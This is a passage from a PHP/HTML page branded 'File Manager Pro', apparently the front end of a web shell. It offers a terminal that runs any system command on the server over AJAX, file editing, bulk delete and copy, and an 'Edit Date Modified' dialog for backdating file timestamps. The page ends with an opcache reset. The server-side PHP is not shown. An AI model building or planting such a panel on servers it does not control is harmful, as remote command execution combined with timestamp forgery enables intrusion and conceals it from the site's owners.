                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white">
                </div>
                <div class="flex justify-end space-x-3">
                    <button type="button" onclick="closeCreateFolderModal()" 
                        class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                    <button type="submit" name="create_folder" 
                        class="bg-green-600 hover:bg-green-700 px-4 py-2 rounded-lg">Create</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Create File Modal -->
    <div id="createFileModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-2xl">
            <h3 class="text-lg font-semibold mb-4">Create New File</h3>
            <form method="POST">
                <div class="mb-4">
                    <input type="text" name="file_name" placeholder="File name (e.g., index.php)" required 
                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white">
                </div>
                <div class="mb-4">
                    <textarea name="file_content" placeholder="File content (optional)" 
                        class="w-full h-32 p-3 bg-gray-700 border border-gray-600 rounded-lg text-white font-mono"></textarea>
                </div>
                <div class="flex justify-end space-x-3">
                    <button type="button" onclick="closeCreateFileModal()" 
                        class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                    <button type="submit" name="create_file" 
                        class="bg-yellow-600 hover:bg-yellow-700 px-4 py-2 rounded-lg">Create</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Rename Modal -->
    <div id="renameModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <h3 class="text-lg font-semibold mb-4">Rename Item</h3>
            <form method="POST">
                <input type="hidden" id="rename_old_path" name="old_path">
                <div class="mb-4">
                    <input type="text" id="rename_new_name" name="new_name" placeholder="New name" required 
                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white">
                </div>
                <div class="flex justify-end space-x-3">
                    <button type="button" onclick="closeRenameModal()" 
                        class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                    <button type="submit" name="rename_item" 
                        class="bg-orange-600 hover:bg-orange-700 px-4 py-2 rounded-lg">Rename</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Edit Date Modified Modal -->
    <div id="editDateModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <h3 class="text-lg font-semibold mb-4">Edit Date Modified</h3>
            <form method="POST">
                <input type="hidden" id="edit_date_file_path" name="file_path">
                <div class="mb-4">
                    <label class="block text-sm font-medium text-gray-300 mb-2">Date</label>
                    <input type="date" id="edit_date_input" name="new_date" required 
                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white">
                </div>
                <div class="mb-4">
                    <label class="block text-sm font-medium text-gray-300 mb-2">Time</label>
                    <input type="time" id="edit_time_input" name="new_time" 
                        class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white">
                </div>
                <div class="mb-4 p-3 bg-gray-700 rounded-lg">
                    <div class="text-sm text-gray-300 mb-1">Current Modified Date:</div>
                    <div id="current_date_display" class="text-blue-400 font-mono"></div>
                </div>
                <div class="flex justify-end space-x-3">
                    <button type="button" onclick="closeEditDateModal()" 
                        class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                    <button type="submit" name="edit_date_modified" 
                        class="bg-cyan-600 hover:bg-cyan-700 px-4 py-2 rounded-lg">
                        <i class="fas fa-calendar-check mr-2"></i>Update Date</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Bulk Copy Modal -->
    <div id="bulkCopyModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <h3 class="text-lg font-semibold mb-4">Copy Selected Items</h3>
            <div class="mb-4">
                <label class="block text-sm font-medium text-gray-300 mb-2">Destination Path</label>
                <input type="text" id="bulkCopyDestination" placeholder="Enter destination path" 
                    class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white"
                    value="<?php echo htmlspecialchars($currentDir); ?>">
                <div class="text-xs text-gray-400 mt-1">Leave empty to copy to current directory</div>
            </div>
            <div class="mb-4 p-3 bg-gray-700 rounded-lg">
                <div class="text-sm text-gray-300 mb-1">Selected Items:</div>
                <div id="bulkCopyItemsList" class="text-blue-400 font-mono text-sm max-h-32 overflow-y-auto"></div>
            </div>
            <div class="flex justify-end space-x-3">
                <button type="button" onclick="closeBulkCopyModal()" 
                    class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                <button onclick="executeBulkCopy()" 
                    class="bg-green-600 hover:bg-green-700 px-4 py-2 rounded-lg">
                    <i class="fas fa-copy mr-2"></i>Copy Items</button>
            </div>
        </div>
    </div>

    <!-- Terminal Modal -->
    <div id="terminalModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-4xl h-3/4">
            <div class="flex justify-between items-center mb-4">
                <h3 class="text-lg font-semibold">Terminal - <?php echo htmlspecialchars(basename($currentDir)); ?></h3>
                <div class="flex space-x-2">
                    <button onclick="clearTerminal()" class="text-gray-400 hover:text-white" title="Clear">
                        <i class="fas fa-broom"></i>
                    </button>
                    <button onclick="closeTerminal()" class="text-gray-400 hover:text-white" title="Close">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
            </div>
            <div class="bg-black rounded-lg p-4 h-full overflow-y-auto font-mono text-sm relative">
                <div id="terminalOutput" class="terminal-output text-green-400 mb-4 whitespace-pre-wrap"></div>
                <div class="flex items-center sticky bottom-0 bg-black pt-2">
                    <span class="text-blue-400 mr-2"><?php echo htmlspecialchars(basename($currentDir)); ?> $</span>
                    <input type="text" id="terminalInput" 
                        class="flex-1 bg-transparent text-white outline-none" 
                        placeholder="Enter command..." autocomplete="off">
                </div>
            </div>
        </div>
    </div>

    <!-- File Info Modal -->
    <div id="fileInfoModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-md">
            <div class="flex justify-between items-center mb-4">
                <h3 class="text-lg font-semibold">File Information</h3>
                <button onclick="closeFileInfo()" class="text-gray-400 hover:text-white">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div id="fileInfoContent" class="space-y-3">
                <div class="text-center text-gray-400">
                    <i class="fas fa-spinner fa-spin"></i> Loading...
                </div>
            </div>
        </div>
    </div>

    <!-- File Editor Modal -->
    <div id="fileEditorModal" class="fixed inset-0 bg-black bg-opacity-50 hidden flex items-center justify-center z-50">
        <div class="bg-gray-800 rounded-lg p-6 w-full max-w-6xl h-5/6">
            <div class="flex justify-between items-center mb-4">
                <h3 class="text-lg font-semibold" id="editorTitle">Edit File</h3>
                <div class="flex space-x-2">
                    <button onclick="closeFileEditor()" class="text-gray-400 hover:text-white" title="Close">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
            </div>
            <form method="POST" class="h-full flex flex-col">
                <input type="hidden" id="editFilePath" name="file_path">
                <textarea name="content" id="fileContent" 
                    class="flex-1 bg-gray-900 text-white p-4 rounded-lg font-mono text-sm resize-none outline-none border border-gray-600 focus:border-blue-500"
                    placeholder="File content will load here..."></textarea>
                <div class="flex justify-between items-center mt-4">
                    <div class="text-sm text-gray-400">
                        <span id="lineCount">Lines: 0</span> | 
                        <span id="charCount">Characters: 0</span>
                    </div>
                    <div class="flex space-x-3">
                        <button type="button" onclick="closeFileEditor()" 
                            class="bg-gray-600 hover:bg-gray-700 px-4 py-2 rounded-lg">Cancel</button>
                        <button type="submit" name="save_file" 
                            class="bg-blue-600 hover:bg-blue-700 px-4 py-2 rounded-lg">
                            <i class="fas fa-save mr-2"></i>Save File</button>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <script>
        // Global variables and state management
        let fileManager = {
            terminalHistory: [],
            historyIndex: -1,
            currentDir: '<?php echo addslashes($currentDir); ?>',
            selectionMode: false,
            selectedItems: new Set(),
            
            // Initialize the file manager
            init: function() {
                this.bindEvents();
                this.autoHideMessages();
                console.log('File Manager Pro initialized');
            },
            
            // Bind all event handlers
            bindEvents: function() {
                // Terminal input handling
                $(document).on('keydown', '#terminalInput', this.handleTerminalInput.bind(this));
                
                // File editor stats
                $(document).on('input', '#fileContent', this.updateEditorStats);
                
                // Keyboard shortcuts
                $(document).on('keydown', this.handleKeyboardShortcuts);
                
                // Escape key to close modals
                $(document).on('keydown', function(e) {
                    if (e.key === 'Escape') {
                        $('.fixed.inset-0:not(.hidden)').addClass('hidden');
                    }
                });
                
                // Drag and drop
                this.setupDragDrop();
            },
            
            // Handle terminal input
            handleTerminalInput: function(e) {
                if (e.which === 13) { // Enter key
                    const command = $('#terminalInput').val().trim();
                    if (command === '') return;
                    
                    // Add to history
                    this.terminalHistory.push(command);
                    this.historyIndex = this.terminalHistory.length;
                    
                    // Add command to output
                    $('#terminalOutput').append(`<div class="text-blue-400">${this.currentDir} $ ${command}</div>`);
                    
                    // Clear input
                    $('#terminalInput').val('');
                    
                    // Handle built-in commands
                    if (command === 'clear') {
                        this.clearTerminal();
                        return;
                    }
                    if (command === 'help') {
                        $('#terminalOutput').append(`
                            <div class="text-green-400">Available commands:
                            - clear: Clear terminal
                            - help: Show this help
                            - Any system command available on the server</div>
                        `);
                        this.scrollTerminalToBottom();
                        return;
                    }
                    
                    // Execute command via AJAX
                    this.executeTerminalCommand(command);
                    
                } else if (e.which === 38) { // Up arrow
                    e.preventDefault();
                    if (this.historyIndex > 0) {
                        this.historyIndex--;
                        $('#terminalInput').val(this.terminalHistory[this.historyIndex]);
                    }
                } else if (e.which === 40) { // Down arrow
                    e.preventDefault();
                    if (this.historyIndex < this.terminalHistory.length - 1) {
                        this.historyIndex++;
                        $('#terminalInput').val(this.terminalHistory[this.historyIndex]);
                    } else {
                        this.historyIndex = this.terminalHistory.length;
                        $('#terminalInput').val('');
                    }
                }
            },
            
            // Execute terminal command
            executeTerminalCommand: function(command) {
                const self = this;
                $.post('', {
                    ajax: '1',
                    action: 'terminal',
                    command: command
                }, function(response) {
                    try {
                        if (response.success) {
                            const output = response.output || 'Command completed';
                            $('#terminalOutput').append(`<div class="text-green-400">${self.escapeHtml(output)}</div>`);
                        } else {
                            const error = response.error || 'Command failed';
                            $('#terminalOutput').append(`<div class="text-red-400">${self.escapeHtml(error)}</div>`);
                        }
                    } catch (e) {
                        $('#terminalOutput').append(`<div class="text-red-400">Error parsing response</div>`);
                    }
                    self.scrollTerminalToBottom();
                }, 'json').fail(function(xhr, status, error) {
                    $('#terminalOutput').append(`<div class="text-red-400">Connection error: ${error}</div>`);
                    self.scrollTerminalToBottom();
                });
            },
            
            // Escape HTML to prevent XSS
            escapeHtml: function(text) {
                const div = document.createElement('div');
                div.textContent = text;
                return div.innerHTML;
            },
            
            // Scroll terminal to bottom
            scrollTerminalToBottom: function() {
                const terminal = $('#terminalOutput').parent();
                terminal.scrollTop(terminal[0].scrollHeight);
            },
            
            // Clear terminal
            clearTerminal: function() {
                $('#terminalOutput').empty();
                $('#terminalOutput').html('<div class="text-cyan-400">Terminal cleared.</div>');
            },
            
            // Update editor stats
            updateEditorStats: function() {
                const content = $('#fileContent').val();
                const lines = content.split('\n').length;
                const chars = content.length;
                $('#lineCount').text('Lines: ' + lines);
                $('#charCount').text('Characters: ' + chars);
            },
            
            // Handle keyboard shortcuts
            handleKeyboardShortcuts: function(e) {
                if (e.ctrlKey) {
                    switch(e.key) {
                        case 'u':
                            e.preventDefault();
                            openUploadModal();
                            break;
                        case 'n':
                            e.preventDefault();
                            openCreateFolderModal();
                            break;
                        case 't':
                            e.preventDefault();
                            openTerminal();
                            break;
                        case 'k':
                            e.preventDefault();
                            openCreateFileModal();
                            break;
                        case 'a':
                            e.preventDefault();
                            selectAll();
                            break;
                    }
                }
            },
            
            // Setup drag and drop
            setupDragDrop: function() {
                let dragCounter = 0;

                $(document).on('dragenter', function(e) {
                    e.preventDefault();
                    dragCounter++;
                    if (dragCounter === 1) {
                        $('body').addClass('bg-gray-800 transition-colors duration-200');
                        showNotification('Drop files here to upload', 'info');
                    }
                });
                
                $(document).on('dragleave', function(e) {
                    dragCounter--;
                    if (dragCounter === 0) {
                        $('body').removeClass('bg-gray-800');
                    }
                });
                
                $(document).on('dragover', function(e) {
                    e.preventDefault();
                });
                
                $(document).on('drop', function(e) {
                    e.preventDefault();
                    dragCounter = 0;
                    $('body').removeClass('bg-gray-800');
                    
                    const files = e.originalEvent.dataTransfer.files;
                    if (files.length > 0) {
                        openUploadModal();
                        $('#uploadModal input[type="file"]')[0].files = files;
                    }
                });
            },
            
            // Auto-hide messages
            autoHideMessages: function() {
                setTimeout(function() {
                    $('.message-alert').fadeOut(2000);
                }, 5000);
            }
        };

        // Selection management functions
        function toggleSelectionMode() {
            fileManager.selectionMode = !fileManager.selectionMode;
            updateSelectionModeUI();
        }

        function updateSelection() {
            const checkedBoxes = $('.item-checkbox:checked');
            const count = checkedBoxes.length;
            let totalSize = 0;
            
            fileManager.selectedItems.clear();
            
            checkedBoxes.each(function() {
                const path = $(this).data('path');
                const size = parseInt($(this).data('size')) || 0;
                fileManager.selectedItems.add(path);
                totalSize += size;
            });
            
            // Update selection stats
            $('#selectionCount').text(count);
            $('#selectionSize').text(formatBytes(totalSize));
            $('#selectedCount').text(count + ' items selected');
            
            // Update master checkbox
            const totalBoxes = $('.item-checkbox').length;
            const masterCheckbox = document.getElementById('masterCheckbox');
            if (count === 0) {
                masterCheckbox.indeterminate = false;
                masterCheckbox.checked = false;
            } else if (count === totalBoxes) {
                masterCheckbox.indeterminate = false;
                masterCheckbox.checked = true;
            } else {
                masterCheckbox.indeterminate = true;
            }
            
            // Show/hide bulk actions bar
            if (count > 0) {
                showBulkActions();
            } else {
                hideBulkActions();
            }
        }

        function toggleAllSelection(masterCheckbox) {
            const itemCheckboxes = $('.item-checkbox');
            itemCheckboxes.prop('checked', masterCheckbox.checked);
            updateSelection();
        }

        function selectAll() {
            $('.item-checkbox').prop('checked', true);
            updateSelection();
        }

        function deselectAll() {
            $('.item-checkbox').prop('checked', false);
            fileManager.selectedItems.clear();
            updateSelection();
        }

        function showBulkActions() {
            $('#bulkActionsBar').addClass('show');
            $('nav').css('margin-top', '60px');
        }

        function hideBulkActions() {
            $('#bulkActionsBar').removeClass('show');
            $('nav').css('margin-top', '0');
        }

        // Bulk operation functions
        function bulkDelete() {
            const selectedPaths = Array.from(fileManager.selectedItems);
            if (selectedPaths.length === 0) {
                showNotification('No items selected', 'error');
                return;
            }
            
            const confirmMsg = `Are you sure you want to delete ${selectedPaths.length} selected items?\n\nThis action cannot be undone.`;
            if (!confirm(confirmMsg)) return;
            
            $.post('', {
                ajax: '1',
                action: 'bulk_delete',
                files: selectedPaths
            }, function(response) {
                if (response.success || response.deleted_count > 0) {
                    showNotification(response.message, 'success');
                    setTimeout(() => location.reload(), 1500);
                } else {
                    showNotification(response.message || 'Bulk delete failed', 'error');
                }
            }, 'json').fail(function() {
                showNotification('Failed to execute bulk delete', 'error');
            });
        }

        function bulkCopy() {
            const selectedPaths = Array.from(fileManager.selectedItems);
            if (selectedPaths.length === 0) {
                showNotification('No items selected', 'error');
                return;
            }
            
            // Populate the copy modal
            const fileNames = selectedPaths.map(path => path.split('/').pop());
            $('#bulkCopyItemsList').html(fileNames.join('<br>'));
            $('#bulkCopyModal').removeClass('hidden');
        }

        function closeBulkCopyModal() {
            $('#bulkCopyModal').addClass('hidden');
        }

        function executeBulkCopy() {
            const selectedPaths = Array.from(fileManager.selectedItems);
            const destination = $('#bulkCopyDestination').val().trim() || fileManager.currentDir;
            
            $.post('', {
                ajax: '1',
                action: 'bulk_copy',
                files: selectedPaths,
                destination: destination
            }, function(response) {
                closeBulkCopyModal();
                if (response.success || response.copied_count > 0) {
                    showNotification(response.message, 'success');
                    setTimeout(() => location.reload(), 1500);
                } else {
                    showNotification(response.message || 'Bulk copy failed', 'error');
                }
            }, 'json').fail(function() {
                showNotification('Failed to execute bulk copy', 'error');
            });
        }

        // Utility functions
        function formatBytes(bytes) {
            if (bytes === 0) return '0 B';
            const k = 1024;
            const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
            const i = Math.floor(Math.log(bytes) / Math.log(k));
            return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
        }

        function refreshDirectory() {
            location.reload();
        }

        // Modal functions - using vanilla approach to avoid conflicts
        function openUploadModal() {
            document.getElementById('uploadModal').classList.remove('hidden');
            document.querySelector('#uploadModal input[name="file"]').focus();
        }
        
        function closeUploadModal() {
            document.getElementById('uploadModal').classList.add('hidden');
        }
        
        function openCreateFolderModal() {
            document.getElementById('createFolderModal').classList.remove('hidden');
            document.querySelector('#createFolderModal input[name="folder_name"]').focus();
        }
        
        function closeCreateFolderModal() {
            document.getElementById('createFolderModal').classList.add('hidden');
            document.querySelector('#createFolderModal input[name="folder_name"]').value = '';
        }

        function openCreateFileModal() {
            document.getElementById('createFileModal').classList.remove('hidden');
            document.querySelector('#createFileModal input[name="file_name"]').focus();
        }
        
        function closeCreateFileModal() {
            document.getElementById('createFileModal').classList.add('hidden');
            document.querySelector('#createFileModal input[name="file_name"]').value = '';
            document.querySelector('#createFileModal textarea[name="file_content"]').value = '';
        }

        function showRenameModal(oldPath, currentName) {
            document.getElementById('renameModal').classList.remove('hidden');
            document.getElementById('rename_old_path').value = oldPath;
            const input = document.getElementById('rename_new_name');
            input.value = currentName;
            input.focus();
            input.select();
        }

        function closeRenameModal() {
            document.getElementById('renameModal').classList.add('hidden');
            document.getElementById('rename_old_path').value = '';
            document.getElementById('rename_new_name').value = '';
        }

        function showEditDateModal(filePath) {
            document.getElementById('editDateModal').classList.remove('hidden');
            document.getElementById('edit_date_file_path').value = filePath;
            
            // Get current file stats via AJAX
            $.post('', {
                ajax: '1',
                action: 'get_file_info',
                file: filePath
            }, function(response) {
                if (response.success) {
                    document.getElementById('current_date_display').textContent = response.modified;
                    
                    // Pre-fill with current date/time
                    const currentDate = new Date(response.modified);
                    const dateStr = currentDate.toISOString().split('T')[0];
                    const timeStr = currentDate.toTimeString().split(' ')[0].substring(0, 5);
                    
                    document.getElementById('edit_date_input').value = dateStr;
                    document.getElementById('edit_time_input').value = timeStr;
                } else {
                    document.getElementById('current_date_display').textContent = 'Unable to load current date';
                    
                    // Set to current date/time as fallback
                    const now = new Date();
                    const dateStr = now.toISOString().split('T')[0];
                    const timeStr = now.toTimeString().split(' ')[0].substring(0, 5);
                    
                    document.getElementById('edit_date_input').value = dateStr;
                    document.getElementById('edit_time_input').value = timeStr;
                }
            }, 'json').fail(function() {
                document.getElementById('current_date_display').textContent = 'Unable to load current date';
                
                // Set to current date/time as fallback
                const now = new Date();
                const dateStr = now.toISOString().split('T')[0];
                const timeStr = now.toTimeString().split(' ')[0].substring(0, 5);
                
                document.getElementById('edit_date_input').value = dateStr;
                document.getElementById('edit_time_input').value = timeStr;
            });
            
            document.getElementById('edit_date_input').focus();
        }

        function closeEditDateModal() {
            document.getElementById('editDateModal').classList.add('hidden');
            document.getElementById('edit_date_file_path').value = '';
            document.getElementById('edit_date_input').value = '';
            document.getElementById('edit_time_input').value = '';
            document.getElementById('current_date_display').textContent = '';
        }
        
        function openTerminal() {
            document.getElementById('terminalModal').classList.remove('hidden');
            document.getElementById('terminalInput').focus();
            if (!document.getElementById('terminalOutput').innerHTML.trim()) {
                document.getElementById('terminalOutput').innerHTML = '<div class="text-cyan-400">Terminal ready. Type commands below.</div>';
            }
        }
        
        function closeTerminal() {
            document.getElementById('terminalModal').classList.add('hidden');
        }

        function clearTerminal() {
            fileManager.clearTerminal();
        }
        
        function showFileInfo(filePath) {
            document.getElementById('fileInfoModal').classList.remove('hidden');
            document.getElementById('fileInfoContent').innerHTML = '<div class="text-center text-gray-400"><i class="fas fa-spinner fa-spin"></i> Loading...</div>';
            
            $.post('', {
                ajax: '1',
                action: 'get_file_info',
                file: filePath
            }, function(response) {
                if (response.success) {
                    let content = `
                        <div class="bg-gray-700 p-3 rounded">
                            <div class="text-sm text-gray-300 mb-1">File Path:</div>
                            <div class="font-mono text-blue-400 break-all text-sm">${filePath}</div>
                        </div>
                        <div class="bg-gray-700 p-3 rounded">
                            <div class="text-sm text-gray-300 mb-1">Size:</div>
                            <div class="text-white">${response.size}</div>
                        </div>
                        <div class="bg-gray-700 p-3 rounded">
                            <div class="text-sm text-gray-300 mb-1">Last Modified:</div>
                            <div class="text-white">${response.modified}</div>
                        </div>
                        <div class="bg-gray-700 p-3 rounded">
                            <div class="text-sm text-gray-300 mb-1">Permissions:</div>
                            <div class="text-white">${response.permissions}</div>
                        </div>
                        <div class="bg-gray-700 p-3 rounded">
                            <div class="text-sm text-gray-300 mb-1">Owner:</div>
                            <div class="text-white">${response.owner}</div>
                        </div>
                    `;
                    
                    if (response.is_symlink) {
                        content += `
                            <div class="bg-cyan-700 p-3 rounded">
                                <div class="text-sm text-gray-300 mb-1">Symbolic Link Target:</div>
                                <div class="text-cyan-200 font-mono text-sm break-all">${response.symlink_target}</div>
                            </div>
                        `;
                    }
                    
                    document.getElementById('fileInfoContent').innerHTML = content;
                } else {
                    document.getElementById('fileInfoContent').innerHTML = '<div class="text-red-400"><i class="fas fa-exclamation-triangle mr-2"></i>' + (response.error || 'Failed to load file information') + '</div>';
                }
            }, 'json').fail(function() {
                document.getElementById('fileInfoContent').innerHTML = '<div class="text-red-400"><i class="fas fa-exclamation-triangle mr-2"></i>Failed to load file information</div>';
            });
        }
        
        function closeFileInfo() {
            document.getElementById('fileInfoModal').classList.add('hidden');
        }
        
        function editFile(filePath) {
            document.getElementById('fileEditorModal').classList.remove('hidden');
            document.getElementById('editorTitle').innerText = 'Edit: ' + filePath.split('/').pop();
            document.getElementById('editFilePath').value = filePath;
            document.getElementById('fileContent').value = 'Loading file content...';
            
            // Load file content via AJAX
            $.post('', {
                ajax: '1',
                action: 'load_file',
                file: filePath
            }, function(response) {
                if (response.success) {
                    document.getElementById('fileContent').value = response.content;
                    fileManager.updateEditorStats();
                } else {
                    document.getElementById('fileContent').value = 'Error: ' + (response.error || 'Failed to load file');
                    showNotification('Failed to load file: ' + (response.error || 'Unknown error'), 'error');
                }
            }, 'json').fail(function() {
                document.getElementById('fileContent').value = 'Error: Failed to load file content';
                showNotification('Failed to load file content', 'error');
            });
        }
        
        function closeFileEditor() {
            document.getElementById('fileEditorModal').classList.add('hidden');
            document.getElementById('fileContent').value = '';
            document.getElementById('editFilePath').value = '';
        }
        
        function copyToClipboard(text) {
            if (navigator.clipboard) {
                navigator.clipboard.writeText(text).then(function() {
                    showNotification('Path copied to clipboard!', 'success');
                }).catch(function() {
                    fallbackCopyText(text);
                });
            } else {
                fallbackCopyText(text);
            }
        }

        function fallbackCopyText(text) {
            const textArea = document.createElement('textarea');
            textArea.value = text;
            textArea.style.position = 'fixed';
            textArea.style.opacity = '0';
            document.body.appendChild(textArea);
            textArea.select();
            try {
                document.execCommand('copy');
                showNotification('Path copied to clipboard!', 'success');
            } catch (err) {
                showNotification('Failed to copy path', 'error');
            }
            document.body.removeChild(textArea);
        }
        
        function showNotification(message, type = 'info') {
            const bgColor = type === 'success' ? 'bg-green-600' : 
                           type === 'error' ? 'bg-red-600' : 'bg-blue-600';
            const icon = type === 'success' ? 'fa-check' : 
                        type === 'error' ? 'fa-times' : 'fa-info';
            
            const notification = document.createElement('div');
            notification.className = `notification fixed top-4 right-4 ${bgColor} text-white px-6 py-3 rounded-lg shadow-lg z-50 transform translate-x-full`;
            notification.innerHTML = `<i class="fas ${icon}-circle mr-2"></i>${message}`;
            
            document.body.appendChild(notification);
            
            setTimeout(() => {
                notification.classList.remove('translate-x-full');
            }, 100);
            
            setTimeout(() => {
                notification.classList.add('translate-x-full');
                setTimeout(() => {
                    if (notification.parentNode) {
                        notification.parentNode.removeChild(notification);
                    }
                }, 300);
            }, 3000);
        }

        function confirmDelete(itemName, type) {
            return confirm(`Are you sure you want to delete this ${type}: "${itemName}"?\n\nThis action cannot be undone.`);
        }

        // Debug function for terminal
        function debugTerminal() {
            console.log('Terminal debugging...');
            $.post('', {
                ajax: '1',
                action: 'terminal',
                command: 'pwd'
            }, function(response) {
                console.log('Terminal response:', response);
            }, 'json').fail(function(xhr, status, error) {
                console.log('Terminal error:', xhr.responseText, status, error);
            });
        }

        // Initialize when document is ready
        $(document).ready(function() {
            fileManager.init();
            
            // Show selection checkboxes by default and enable selection mode
            fileManager.selectionMode = true;
            $('.selection-checkbox').show();
            updateSelectionModeUI();
            
            // Add tab support for file editor
            $('#fileContent').on('keydown', function(e) {
                if (e.which === 9) {
                    e.preventDefault();
                    const start = this.selectionStart;
                    const end = this.selectionEnd;
                    const value = $(this).val();
                    $(this).val(value.substring(0, start) + '    ' + value.substring(end));
                    this.selectionStart = this.selectionEnd = start + 4;
                }
            });
        });

        // Update selection mode UI
        function updateSelectionModeUI() {
            const btn = document.getElementById('selectionModeBtn');
            const stats = document.getElementById('selectionStats');
            
            if (fileManager.selectionMode) {
                btn.innerHTML = '<i class="fas fa-times mr-2"></i>Disable Selection';
                btn.className = 'w-full bg-red-600 hover:bg-red-700 px-4 py-2 rounded-lg transition duration-200';
                stats.classList.remove('hidden');
                $('.selection-checkbox').show();
            } else {
                btn.innerHTML = '<i class="fas fa-mouse-pointer mr-2"></i>Enable Selection';
                btn.className = 'w-full bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-lg transition duration-200';
                stats.classList.add('hidden');
                $('.selection-checkbox').hide();
                deselectAll();
            }
        }
    </script>
</body>
</html>

<?php
if (function_exists('opcache_reset')) {
    opcache_reset();
}
?>